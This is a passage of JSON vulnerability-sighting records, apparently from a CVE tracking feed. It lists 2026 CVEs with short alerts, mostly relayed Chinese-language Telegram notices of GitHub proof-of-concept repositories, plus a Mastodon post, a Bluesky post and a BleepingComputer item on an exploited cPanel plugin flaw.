"source": "https://infosec.exchange/users/offseq/statuses/117053759506545245", "content": "CVE-2026-54213: CRITICAL improper access control in Tobit TeamDavid Webbox \u2014 public /internalRestart endpoint lets remote attackers trigger persistent DoS by shutting down servers. No patch yet. Restrict access & monitor. https://radar.offseq.com/threat/cve-2026-54213-cwe-284-improper-access-control-in-tobit-laboratories-ag-teamdavid-7d00f2efd17d315b #OffSeq #Cybersecurity #Vuln", "creation_timestamp": "2026-08-07T10:32:36.139513Z"}, {"uuid": "802e37f6-5ae8-43ff-9d03-2c77049b6816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54064", "type": "published-proof-of-concept", "source": "https://github.com/nukeviet/nukeviet/security/advisories/GHSA-465g-4q99-5x86", "content": "", "creation_timestamp": "2026-07-13T18:35:05.473505Z"}, {"uuid": "b8d9ebda-6f17-43ea-ab6e-8015b8034578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "https://t.me/GithubRedTeam/92820", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54390\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 10:56:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54390 \u2014 JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch('string:' . ) | 5.2.0-5.7.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:05.547070Z"}, {"uuid": "096ca952-cd68-4d4a-9a80-efbb0f5f7b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "https://t.me/GithubRedTeam/92588", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54520\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54520 / GHSA-cm8g-8jfq-887p: ai-agent-automation workflow path traversal advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:07.093237Z"}, {"uuid": "2b496d8f-e76d-47f2-b9c7-fa7554e30ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "https://t.me/GithubRedTeam/91884", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54415-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a abdugafforov-bobur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 11:15:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54415 \u2014 Azuriom CMS (<1.2.11) Broken Access Control \u2192 account takeover\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.934787Z"}, {"uuid": "b2668bfd-dab9-4620-904f-16a4744d9c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "seen", "source": "https://t.me/GithubRedTeam/92598", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54519\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54519 / GHSA-qv97-83w4-ff86: ai-agent-automation memory authorization advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:06.855345Z"}, {"uuid": "fad89e7a-0525-46f7-b8f2-f132827dbe05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54424", "type": "seen", "source": "https://t.me/GithubRedTeam/91664", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54424\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tomadimitrie\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:17:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploiting Parsec for Windows to gain SYSTEM privileges\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:14.024673Z"}, {"uuid": "ebafe9fa-2047-49fa-ac24-ab769cf95a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://t.me/GithubRedTeam/92275", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54350-Budibase-NoSQL-Injection\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BiiTts\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 01:19:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54350 \u2014 Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.025909Z"}, {"uuid": "7111fc62-5e1d-4866-8497-e208c9b49138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://t.me/GithubRedTeam/91960", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #EXP #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54998-exp\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sentinel-aidefense\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 22:59:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54998 RCE Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.636928Z"}, {"uuid": "54dfaa09-e8bc-423a-b6bf-6d064a687191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54477", "type": "seen", "source": "https://t.me/GithubRedTeam/91660", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54477\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MichaelAdamGroberman\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-02 22:00:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54477: Admin Panel Missing Security Headers (clickjacking/XSS) - Gardyn (ICSA-26-183-03)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:13.985629Z"}, {"uuid": "d6fb81a0-07d1-4316-b219-6a8cf2ffa56e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54161", "type": "seen", "source": "https://t.me/GithubRedTeam/91470", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54161\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ja-errorpro\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-01 16:11:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:15.500448Z"}, {"uuid": "d8c3db65-a3f2-4892-ba89-d55fb59f04cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://t.me/GithubRedTeam/89493", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54420-LiteSpeed-Symlink-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-18 15:24:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA vulnerability in LiteSpeed cPanel Plugin before 2.4.8 and WHM Plugin before 5.3.2.0 mishandles symlinks provided by a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.830182Z"}, {"uuid": "95e4d938-c3dd-4780-9de4-c45a559b3a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "seen", "source": "https://t.me/GithubRedTeam/89279", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5415\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a izxci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-17 09:56:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-5415 WP Captcha PRO Authenticated Authentication Bypass Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.915090Z"}, {"uuid": "7764c621-60d5-44c2-938c-139702c0c803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54806", "type": "seen", "source": "https://t.me/GithubRedTeam/90140", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54806\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joshuavanderpoll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-22 16:18:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated PHP Object Injection to RCE in WP Activity Log <= 5.6.3.1 (CVE-2026-54806)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:21.367618Z"}, {"uuid": "376d39ea-d78e-4bc7-b06c-0085005d752e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54761", "type": "seen", "source": "https://t.me/GithubRedTeam/89650", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54761-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 13:38:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:22.701557Z"}, {"uuid": "85fcd950-7505-40c5-a2ce-3693a4143e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54337", "type": "seen", "source": "https://t.me/GithubRedTeam/89729", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54337-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4qu4r1um\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-20 03:49:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54337 - Unauthenticated File Write/Overwrite PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:22.577694Z"}, {"uuid": "d34ac61a-8781-4547-8b96-7e8e37fbf580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54686", "type": "seen", "source": "https://t.me/GithubRedTeam/89060", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54686-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-16 05:32:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:42.462075Z"}, {"uuid": "7c792694-8114-496a-9ab8-892d05032c20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54211", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msiekd7w2x2b", "content": "CVE-2026-54211 - teamdavid\nThe TeamDavid Webbox application is vulnerable to a server crash when it receives excessively long form data. This could be exploited by an attacker to shut down the server. To protect\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#teamdavid #CVE #infosec", "creation_timestamp": "2026-08-07T10:40:04.618244Z"}, {"uuid": "c0de7da5-c98c-444d-a13d-3b0de1121bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://t.me/BleepingComputer/24911", "content": "\u200aCISA warns of another cPanel plugin flaw exploited in attacks\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. government agencies three days to secure their servers against an actively exploited vulnerability (CVE-2026-54420) in the LiteSpeed cPanel user-end plugin. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisa-warns-of-another-actively-exploited-cpanel-plugin-flaw/", "creation_timestamp": "2026-07-14T00:00:06.843304Z"}, {"uuid": "cd245aca-df4b-48be-871c-5815b0b9c874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92820", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54390\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 10:56:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54390 \u2014 JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch('string:' . ) | 5.2.0-5.7.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:07.360864Z"}, {"uuid": "f7ebc595-85bd-4789-9b73-fe4dfb788091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "seen", "source": "https://t.me/GithubRedTeam/92598", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54519\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54519 / GHSA-qv97-83w4-ff86: ai-agent-automation memory authorization advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:10.115776Z"}, {"uuid": "5a8260ae-473f-46d4-bdc2-6b7770dc27c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "https://t.me/GithubRedTeam/92588", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54520\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a chaitanyagarware\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 00:50:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54520 / GHSA-cm8g-8jfq-887p: ai-agent-automation workflow path traversal advisory landing page\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:10.340610Z"}, {"uuid": "f11f577f-70c6-467d-a8c8-ef95b1d8d1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://t.me/GithubRedTeam/92275", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54350-Budibase-NoSQL-Injection\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BiiTts\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 01:19:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54350 \u2014 Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:19.481810Z"}, {"uuid": "b8c949df-8fd8-4e47-90b6-487d6ce21194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://t.me/GithubRedTeam/91960", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #EXP #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54998-exp\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sentinel-aidefense\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 22:59:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54998 RCE Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.768898Z"}, {"uuid": "47c270c8-4218-46f5-be08-1dc5aa75ecbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "https://t.me/GithubRedTeam/91884", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54415-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a abdugafforov-bobur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 11:15:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-54415 \u2014 